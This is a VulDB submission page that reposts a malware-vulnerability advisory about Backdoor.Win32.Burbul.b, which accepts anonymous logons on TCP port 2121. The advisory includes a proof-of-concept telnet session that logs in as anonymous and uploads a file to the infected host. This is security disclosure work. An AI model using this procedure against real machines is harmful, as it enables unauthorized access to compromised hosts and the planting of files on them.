Submeter #8372: BACKDOOR.WIN32.BURBUL.B / Anonymous Logon

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Burbul.b
Vulnerability: Anonymous Logon
Description: Backdoor Burbul.b listens on TCP port 2121 allowing anonymous logon credentials to access the infected host E.g. USER anonymous PASS anonymous.
Type: PE32
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a
Vuln ID: MVID-2021-0093
Dropped files:
Disclosure: 02/16/2021

Exploit/PoC:
TELNET [Backdoored_Host] 2121

╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞...
USER anonymous
331 Password required for anonymous.
PASS anonymous
230 User anonymous logged in.
HELP
500 'HELP': command not understood.
CWD
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,1,10,196,100).
STOR 1.js
150 Opening data connection for 1.js.
PASV
226 File received ok
227 Entering Passive Mode (192,168,88,128,196,101).

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• Fonte: ⚠️ https://www.malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a.txt
• Utilizador: malvuln (UID 14984)
• Submissão: 25/02/2021 23h22 (há 5 anos)
• Moderação: 26/02/2021 08h00 (9 hours later)
• Estado: Aceite
• Entrada VulDB: 170412 [Backdoor.Win32.Burbul.b Service Port 2121 Autenticação fraca]
• Pontos: 20